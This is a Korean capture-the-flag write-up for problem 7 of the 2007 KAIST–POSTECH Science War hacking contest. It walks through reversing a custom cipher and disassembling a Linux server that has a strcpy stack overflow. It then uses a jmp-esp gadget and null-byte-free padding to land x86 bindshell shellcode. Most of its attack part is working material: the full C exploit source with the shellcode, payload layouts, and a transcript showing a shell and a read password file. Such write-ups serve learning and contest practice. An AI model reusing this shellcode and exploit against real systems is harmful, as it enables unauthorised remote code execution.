-------------------------------- Science War 2007 KAIST vs POSTECH POSTECH vs KAIST 학생대제전 해킹대회 7번문제 풀이 -------------------------------- -> writer - hkpco <- -> mail&msn - hkpco@korea.com <- -> homepage - http://hkpco.kr <- ================================ http://sciencewar.wowhacker.org/ ================================ * 대회 준비기간 당시 시간부족으로 인해 출제가 힘들었던 7번문제에 대하여 도움을 주신 이용일, 김동우님께 감사드립니다. 카포전(or 포카전) 해킹대회 7번문제에 대한 통과학교가 없어 풀이를 기술하였습니다. 문제는 아래와 같습니다. -- 특정 서버의 포트로 사용자가 입력한 데이터를 전송하는 윈도우 프로그램 hackko.exe가 있습니다. 문제로 주어진 서버의 주소는 "218.38.54.227" 이며 포트는 31337입니다. 해당 서버로 데이터를 전송하면 서버의 복호화 루틴을 거쳐서 윈도우 클라이언트(hackko.exe)로 전송해줍니다. 그런데 hackko.exe도 사용자가 입력한 데이터를 "218.38.54.227"서버와 똑같은 복호화 루틴을 거쳐 전송합니다. 암호화된 "POSTECH" or "KAIST" , "KAIST" or "POSTECH" 문자열을 서버로 전송하게 되면, 문제서버 바이너리가 위치한 URL을 전송해 주게됩니다. http://218.38.54.227/~hkpco/hackko.exe let's go. -- 문제로 제공된 프로그램의 url입니다. -------------------------------------------------------- binary - http://hkpco.joinc.co.kr/science_war/hackko.exe -------------------------------------------------------- 서버를 구동한 시스템의 환경입니다. ------------------------------------------------------------------------------------ [hkpco@ns science_war]$ uname -a Linux ns.joinc.co.kr 2.4.34 #2 Sat Jan 27 11:45:33 KST 2007 i686 i686 i386 GNU/Linux [hkpco@ns science_war]$ cat /etc/redhat-release Red Hat Linux release 9 (Shrike) ------------------------------------------------------------------------------------ 우선 주어진 MFC바이너리 hackko.exe를 실행하면 "서버주소, 포트, 데이터"를 입력받습니다. 서버주소와 포트의 경우는 문제에서 미리 주어져있고, 데이터는 사용자가 임의로 작성하여 전송 할 수 있습니다. hackko.exe는 사용자가 입력한 데이터를 프로그램 내부의 복호화 루틴을 거쳐 특정 서버의 포트로 전송해 줍니다. 구동되고 있는 서버도 hackko.exe 프로그램과 똑같은 복호화 루틴을 사용한다고 문제에서 제시해 두었고, 암호화된 "KAIST" or "POSTECH" 문자열을 전송하면 서버 바이너리가 위치한 url을 출력 해 준다고 문제에서 알려 주었습니다. MFC바이너리의 복호화 루틴을 찾아 암호화 루틴을 유추해 내어 "KAIST" or "POSTECH"을 암호화 시켜 전송하면 서버의 바이너리가 위치한 주소를 되돌려 줍니다. 이 때, hackko.exe프로그램을 통해 값을 전송하면 응답받은 데이터를 프로그램이 특정 바이트 이상 출력해 주지 못합니다. 그래서, netcat등의 툴이나 소켓 프로그래밍을 통해 유추해 낸 암호화 코드를 이용하여 데이터를 전송해 주어야 합니다. ollydbg를 통해 알아낸 cryption함수의 call지점입니다. ------------------------------------------------ 00401795 . E8 56FEFFFF CALL hackko.004015F0 ------------------------------------------------ 복호화 루틴은 아래와 같습니다. ----------------------------------------------------------- 004015F0 /$ B8 00280000 MOV EAX,2800 004015F5 |. E8 D6040000 CALL hackko.00401AD0 004015FA |. 8B9424 0428000>MOV EDX,DWORD PTR SS:[ESP+2804] 00401601 |. 57 PUSH EDI 00401602 |. 8BFA MOV EDI,EDX . . . 0040164F |> 881428 |MOV BYTE PTR DS:[EAX+EBP],DL 00401652 |. 8A50 01 |MOV DL,BYTE PTR DS:[EAX+1] 00401655 |. 47 |INC EDI 00401656 |. 40 |INC EAX 00401657 |. 84D2 |TEST DL,DL 00401659 |.^75 D6 \JNZ SHORT hackko.00401631 . . 00401677 |. 5F POP EDI 00401678 |. 81C4 00280000 ADD ESP,2800 0040167E \. C3 RETN ----------------------------------------------------------- 다음은 복호화 루틴을 통해 유추한 암호화 코드입니다. ---------------------------------------------------------- cryption - http://hkpco.joinc.co.kr/science_war/cryption.c ---------------------------------------------------------- cryption의 사용 예입니다. ----------------------------------------------------------------------------- [hkpco@ns science_war]$ (perl -e 'print "hkpco_korean"') | nc localhost 31337 s`{XzTvd}Zl [hkpco@ns science_war]$ ./cryption hkpco_korean t_|W{Swc~Ymb [hkpco@ns science_war]$ ./cryption hkpco_korean | nc localhost 31337 hkpco_korean ----------------------------------------------------------------------------- cryption을 이용하여 문자열을 암호화 시켜 서버로 전송하게 되면 복호화된 데이터가 정상적으로 돌아오게 됩니다. KAIST, POSTECH을 암호화 시켜 서버로 보내었을 경우 서버 바이너리의 url을 전송해 줄 것입니다. --------------------------------------------------------------- [hkpco@ns science_war]$ ./cryption KAIST | nc localhost 31337 http://hkpco.joinc.co.kr/science_war/server KAIST [hkpco@ns science_war]$ ./cryption POSTECH | nc localhost 31337 http://hkpco.joinc.co.kr/science_war/server POSTECH --------------------------------------------------------------- 서버측에서 전송해준 url에 위치한 바이너리를 받아 분석하겠습니다. [hkpco@localhost hk]$ wget http://hkpco.joinc.co.kr/science_war/server --17:43:41-- http://hkpco.joinc.co.kr/science_war/server => `server' Resolving hkpco.joinc.co.kr... 218.234.19.87 Connecting to hkpco.joinc.co.kr|218.234.19.87|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15,007 (15K) [text/plain] 100%[=================================================================================>] 15,007 --.--K/s 17:43:41 (4.92 MB/s) - `server' saved [15007/15007] [hkpco@localhost hk]$ objdump -d server server: file format elf32-i386 Disassembly of section .init: 0804856c <_init>: 804856c: 55 push %ebp 804856d: 89 e5 mov %esp,%ebp 804856f: 83 ec 08 sub $0x8,%esp 8048572: e8 b1 01 00 00 call 8048728 8048577: e8 0c 02 00 00 call 8048788 804857c: e8 b7 07 00 00 call 8048d38 <__do_global_ctors_aux> . . . 080487b4
: 80487b4: 55 push %ebp 80487b5: 89 e5 mov %esp,%ebp 80487b7: 81 ec 18 15 00 00 sub $0x1518,%esp 80487bd: 83 e4 f0 and $0xfffffff0,%esp 80487c0: b8 00 00 00 00 mov $0x0,%eax 80487c5: 29 c4 sub %eax,%esp 80487c7: c7 85 fc ea ff ff 01 movl $0x1,0xffffeafc(%ebp) 80487ce: 00 00 00 80487d1: c7 85 f8 ea ff ff 02 movl $0x2,0xffffeaf8(%ebp) 80487d8: 00 00 00 80487db: 8b 85 fc ea ff ff mov 0xffffeafc(%ebp),%eax . . 8048ac7: e8 e8 fa ff ff call 80485b4 8048acc: 83 c4 10 add $0x10,%esp 8048acf: 83 ec 0c sub $0xc,%esp 8048ad2: ff b5 c0 eb ff ff pushl 0xffffebc0(%ebp) 8048ad8: e8 d7 fa ff ff call 80485b4 8048add: 83 c4 10 add $0x10,%esp 8048ae0: b8 00 00 00 00 mov $0x0,%eax 8048ae5: c9 leave 8048ae6: c3 ret 08048ae7 : 8048ae7: 55 push %ebp 8048ae8: 89 e5 mov %esp,%ebp 8048aea: 57 push %edi 8048aeb: 81 ec 24 28 00 00 sub $0x2824,%esp 8048af1: 8d bd f8 d7 ff ff lea 0xffffd7f8(%ebp),%edi 8048af7: fc cld 8048af8: ba 00 00 00 00 mov $0x0,%edx 8048afd: b8 00 0a 00 00 mov $0xa00,%eax . . . 8048d61: e8 00 00 00 00 call 8048d66 <_fini+0xa> 8048d66: 5b pop %ebx 8048d67: 81 c3 c6 11 00 00 add $0x11c6,%ebx 8048d6d: e8 da f9 ff ff call 804874c <__do_global_dtors_aux> 8048d72: 8b 5d fc mov 0xfffffffc(%ebp),%ebx 8048d75: c9 leave 8048d76: c3 ret server바이너리의 다음 부분이 포인트입니다. 804899c: 83 ec 04 sub $0x4,%esp 804899f: 6a 20 push $0x20 80489a1: 6a 00 push $0x0 80489a3: 8d 45 d8 lea 0xffffffd8(%ebp),%eax 80489a6: 50 push %eax 80489a7: e8 18 fd ff ff call 80486c4 80489ac: 83 c4 10 add $0x10,%esp // memset( %eax(ebp-28) , 0x0 , 0x20 ); 80489af: 83 ec 04 sub $0x4,%esp 80489b2: 68 01 14 00 00 push $0x1401 80489b7: 6a 00 push $0x0 80489b9: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 80489bf: 50 push %eax 80489c0: e8 ff fc ff ff call 80486c4 80489c5: 83 c4 10 add $0x10,%esp // memset( %eax(ebp-1438) , 0x0 , 0x1401 ); . . 80489ea: 6a 00 push $0x0 80489ec: 68 00 14 00 00 push $0x1400 80489f1: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 80489f7: 50 push %eax 80489f8: ff b5 c0 eb ff ff pushl 0xffffebc0(%ebp) 80489fe: e8 d1 fc ff ff call 80486d4 8048a03: 83 c4 10 add $0x10,%esp // recv( %ebp(0xffffebc0) , %eax(ebp-1438) , 0x1400 , 0x0 ); . . 8048a31: 83 ec 08 sub $0x8,%esp 8048a34: 83 ec 04 sub $0x4,%esp 8048a37: 8d 85 c8 eb ff ff lea 0xffffebc8(%ebp),%eax 8048a3d: 50 push %eax 8048a3e: e8 a4 00 00 00 call 8048ae7 8048a43: 83 c4 08 add $0x8,%esp 8048a46: 50 push %eax 8048a47: 8d 45 d8 lea 0xffffffd8(%ebp),%eax 8048a4a: 50 push %eax 8048a4b: e8 a4 fc ff ff call 80486f4 8048a50: 83 c4 10 add $0x10,%esp // strcpy( ebp-24 , decryption(ebp-1438) ); 포인트를 재 구성해보면 다음과 같습니다. -- socket(..); bind(..); listen(..); while(1) { accept(..); memset( %eax(ebp-40) , 0x0 , 0x20 ); memset( %eax(ebp-5176) , 0x0 , 0x1401 ); recv( %ebp(0xffffebc0) , %eax(ebp-1438) , 0x1400 , 0x0 ); strcpy( ebp-36 , decryption(ebp-5176) ); } send(..); -- socket, bind, listen, accept를 사용하여 서버를 구성한 뒤, buffer(ebp-36, ebp-5176)들을 초기화 한 다음, recv함수가 소켓을 통해 버퍼(ebp-5176)에 최대 0x1400크기의 데이터를 받아옵니다. 그리고 저장해 둔 버퍼를 decryption함수로 복호화 한 뒤 ebp-36에 복사하게 되는 지점에서 BOF가 발생합니다. 공격이 성립되기 위해서는 bruteforce를 시도해야 하지만 버퍼가 작기 때문에 return address 뒷부분에 존재하는 공간에 실행시킬 기계어 코드( bindshell, reverse telnet 등등 )를 삽입한 뒤 수많은 bruteforce를 감행해야 합니다. 하지만 서버 바이너리를 자세히 살펴보게 되면 한번에 공격을 성립시킬 수 있는 실마리를 찾을 수 있습니다. ---------------------------------------------------- 80487e9: ff e4 jmp *%esp ---------------------------------------------------- 위와 같이 바이너리 내부에 jmp *%esp 명령이 존재하는데, 이를 이용하면 쉽게 공격을 성공시킬 수 있습니다. payload는 다음과 같이 구성합니다. ----------------------------------- [buffer][ret][....] [AAA...AA][jmp_esp addr][bindshell] ----------------------------------- return address에 jmp_esp가 위치한 주소값을 넣고, 그 뒤에 bindshell코드를 삽입하게 되면 자식프로세스 소멸부분에서 jmp_esp명령이 실행되어 esp로 점프( 여기서 esp는 return address의 다음 지점을 가리키고 있음 )하게 되어 bindshell 코드를 실행 할 것입니다. 본 문서에서는 jmp esp기법에 대한 자세한 설명은 생략하겠습니다. 이제 조금 더 정확한 payload를 구성해 보면, ebp-36에서 시작하는 buffer에서 overflow가 일어나기 때문에 총 44바이트의 데이터를 사용하여 ebp까지 채울 수 있습니다. return address에는 jmp_esp의 주소값 0x80487e9를 넣어 준 뒤, 바로 뒤에 bindshell코드를 삽입합니다. 그러면 44바이트의 데이터가 ebp까지를 덮고, jmp_esp가 위치한 주소값을 실행시켜 esp로 점프하게 되는데 그 지점이 bindshell코드가 위치한 곳이며, 결과적으로 서버의 쉘 명령을 실행시킬 수 있는 특정 포트를 열어주게 됩니다. 그런데 EXPLOIT작성 시 주의해야 할 점이 있습니다. 복호화 코드를 이용하여 데이터를 암호화 할 경우 중간에 null문자가 포함될 수도 있는데, send함수의 전송데이터 길이를 strlen(cryption(data))와 같은 형식으로 전달하면 nullbyte까지의 data를 총 길이로 인식하므로 전체 payload를 서버측에 전송할 수 없습니다. send함수로 주어지는 길이값을 무조건 크게 주어도 문제가 되는점이, 서버가 클라이언트 측에서 전송받은 데이터를 내부의 descryption함수로 복호화 하게 되는데, 여기서도 strlen함수를 사용하기 때문에 받은 데이터 길이에 상관없이 null문자를 데이터의 끝으로 인식하게되므로 공격코드 전체를 덮어 쓸 수 없게됩니다. 여기에 대한 해결책을 찾기 위해서 암호화 코드의 특정 규칙을 파악한 뒤, 공격코드를 재구성 해야 합니다. cryption은 data(평문)의 길이에 따라 암호화 되는 데이터가 달라지는 구조입니다. 그렇다면 payload의 길이를 1byte씩 증가시키다 보면 길이값에 따라 변칙적인 암호화 수행의 결과 중 nullbyte를 포함하지 않을때도 있을 것입니다. payload는 아래와 같이 구성됩니다. [AAA..AA][jmp_esp addr][bindshell] -> cryption결과에 nullbyte가 포함되는가?, 그렇다면 payload재구성, 아니면 공격 [AAA..AA][jmp_esp addr][NOP][bindshell] -> cryption결과에 nullbyte가 포함되는가?, 그렇다면 payload재구성, 아니면 공격 [AAA..AA][jmp_esp addr][NOPNOP][bindshell] -> cryption결과에 nullbyte가 포함되는가?, 그렇다면 payload재구성, 아니면 공격 . . . bindshell앞부분에 NOP을 1byte씩 증가시키며 cryption의 결과에 nullbyte가 포함되는지 체크합니다. nullbyte 확인시에 주의할 점은 일반적인 문자열 함수를 사용하면 안된다는 것입니다. 문자열 함수는 기본적으로 nullbyte를 데이터의 끝으로 보기 때문에 직접 포인터와 루프문을 이용하여 확인을 해야 합니다. nullbyte체크를 위해 만들어진 함수는 다음과 같습니다. int check_null( char *get_p, int l ) { int i, length; char *p, c; p = get_p; length = l; printf( "payload: %dbyte\n" , length ); for( i = 0 ; i < length ; i++ ) { c = *p++; if( c == 0 ) { printf( "\t [null found]\n\n" ); return 1; } } printf("\n"); return 0; } cryption된 데이터를 포인터로 넘겨받은 뒤, 1byte씩 비교하며 nullbyte의 유무를 판단합니다. 이 때, 두번째 인자에는 cryption전의 데이터(평문)의 길이를 받게 되는데, 문제에서 주어진 암호화/복호화 루틴에 의한 평문과 암호문의 길이가 1:1 대응을 하므로 nullbyte가 포함되지 않은 공격코드(평문)의 길이를 넘겨주는 것입니다. check_null()함수를 추가시켜 만들어진 공격의 핵심부 코드는 다음과 같습니다. do { memset( dummy , '\x90' , cnt++ ); snprintf( payload , sizeof(payload) -1 , "%s%s%s%s" , buffer , jmp_esp , dummy , bindsc ); #ifdef DEBUG printf( "A: %d\n" , strlen(cryption(payload))); printf( "B: %d\n" , strlen(payload)); #endif } while(check_null( cryption(payload) , strlen(payload) )); check_null()함수는 nullbyte가 존재하면 1을 리턴해 주므로 암호화 데이터에 nullbyte가 포함되지 않을때 까지 반복문은 계속 수행되게 됩니다. dummy의 데이터도 마찬가지로 nullbyte가 존재하지 않을때 까지 1byte씩 추가됩니다. 이렇게 작성 된 EXPLOIT을 이용한 공격 결과입니다. EXPLOIT의 인자로는 ebp까지 채워질 버퍼의 dummy size를 입력합니다. 여기서 dummy size는 앞에서 구한 44byte입니다. -- [hkpco@ns science_war]$ gcc -o hkexp hkexp.c [hkpco@ns science_war]$ ./hkexp 44 payload: 258byte [null found] payload: 259byte ================ exploit success! ================ id uid=511(hkpco) gid=513(hkpco) groups=513(hkpco) ls -al total 36 drwxrwxr-x 2 hkpco hkpco 4096 Sep 16 00:39 . drwxrwxr-x 3 hkpco hkpco 4096 Sep 16 16:51 .. -rw-rw-r-- 1 hkpco hkpco 13 Sep 16 00:40 PASSWORD -rwxrwxr-x 1 hkpco hkpco 23766 Sep 16 00:39 server cat PASSWORD ChanAm, Park -- 패스워드는 "ChanAm, Park" 입니다. ----------------------------------------------------------------------------------------------- 마치며.. -------- 사이언스워 해킹대회 준비를 핑계로 많은 시간을 투자하였습니다. 대회기간동안 열심히 문제를 풀어주신 POSTECH & KAIST, KAIST & POSTECH 분들께 감사드리며, 저 또한 많은 것을 배우고 느낄 수 있는 보람있는 경험이었습니다. 내년엔 더 좋은 문제들로 찾아뵙겠습니다. 감사합니다. ----------------------------------------------------------------------------------------------- ============================================= SERVER SOURCE CODE http://hkpco.joinc.co.kr/science_war/server.c ============================================= ====================================================== EXPLOIT source code hkexp.c - http://hkpco.joinc.co.kr/science_war/hkexp.c ====================================================== - hkexp.c - /* Science War Hacking Contest problem7 EXPLOIT by hkpco KAIST vs POSTECH POSTECH vs KAIST */ #include #include #include #include #include #include #include #include #include #include #include #define ADR "127.0.0.1" #define TG_PORT 31337 #define RS_PORT 45295 //#define DEBUG char payload[4096*2] = {0x00,}; char buffer[1024] = {0x00,}; char jmp_esp[] = "\xe9\x87\x04\x08"; // jmp_esp addr char bindsc[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; // bindshell code char *cryption( char *data ); int attack_check( void ); void socket_shell( int sockfd ); int check_null( char *get_p, int l ); int main( int argc , char **argv ) { int sockfd, cnt; char dummy[512]={0x00,}; struct sockaddr_in sock; if( argc < 2 ) { fprintf( stderr , "i need dummy size\n" ); return -1; } sockfd = socket( PF_INET , SOCK_STREAM , 0 ); if( sockfd < 0 ) { perror( "socket()" ); return -1; } sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(ADR); sock.sin_port = htons(TG_PORT); if( (connect( sockfd , (struct sockaddr *)&sock , sizeof(sock))<0) ) { perror( "connect()" ); return -1; } cnt = 0; memset( buffer , 'A' , atoi(argv[1]) ); do { memset( dummy , '\x90' , cnt++ ); snprintf( payload , sizeof(payload) -1 , "%s%s%s%s" , buffer , jmp_esp , dummy , bindsc ); #ifdef DEBUG printf( "A: %d\n" , strlen(cryption(payload))); printf( "B: %d\n" , strlen(payload)); #endif } while(check_null( cryption(payload) , strlen(payload) )); send( sockfd , cryption(payload) , strlen(cryption(payload)) , 0 ); usleep(7000); if( !attack_check() ) printf( "! exploit failed !\n" ); close(sockfd); return 0; } char *cryption( char *data ) { char output[4096*2]={0x00,}, fake_char; char *p, c; int n, i, fake_int; p = output; fake_int = n = strlen(data); i = 0; if( n%2 ) n *= -1; while( data[i] ) { if(i % 2) n *= -1; c = data[i] + n; if(i % 2) n *= -1; output[i++] = c; // fake fake_char = (data[i] + 72) % 128; if( fake_char ) fake_char += 128; fake_int--; } output[i] = 0; return p; } int attack_check( void ) { int sockfd; struct sockaddr_in target_addr; target_addr.sin_family = AF_INET; target_addr.sin_port = htons(RS_PORT); target_addr.sin_addr.s_addr = inet_addr(ADR); bzero( &target_addr.sin_zero, 8 ); sockfd = socket( AF_INET, SOCK_STREAM, 0 ); if( sockfd < 0 ) { perror( "connect(attack_check)" ); return -1; } if( (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr))) == -1 ) { close(sockfd); return 0; } else { printf( "================\n" ); printf( "exploit success!\n" ); printf( "================\n\n" ); socket_shell(sockfd); return 1; } } void socket_shell( int sockfd ) { int length; static int flag; char data[4096 +1] = {0x00,}; fd_set fds; flag = 0; while(1) { FD_ZERO(&fds); FD_SET( sockfd , &fds ); FD_SET( 0 , &fds ); select( sockfd +1 , &fds , NULL , NULL , NULL ); if( FD_ISSET( sockfd , &fds ) ) { memset( data , 0x0 , sizeof(data) ); length = recv( sockfd , data , sizeof(data) -1 , 0 ); if( length > 0 ) { length = write( 1 , data , length ); if( length < 0 ) continue; } } if( FD_ISSET( 0 , &fds ) ) { length = read( 0 , data , sizeof(data) -1 ); if( send( sockfd , data , length , 0 ) < 0 ) continue; } } } int check_null( char *get_p, int l ) { int i, length; char *p, c; p = get_p; length = l; printf( "\n\tpayload: %dbyte\n" , length ); for( i = 0 ; i < length ; i++ ) { c = *p++; if( c == 0 ) { printf( "\t\t [null found]\n\n" ); return 1; } } printf("\n"); return 0; }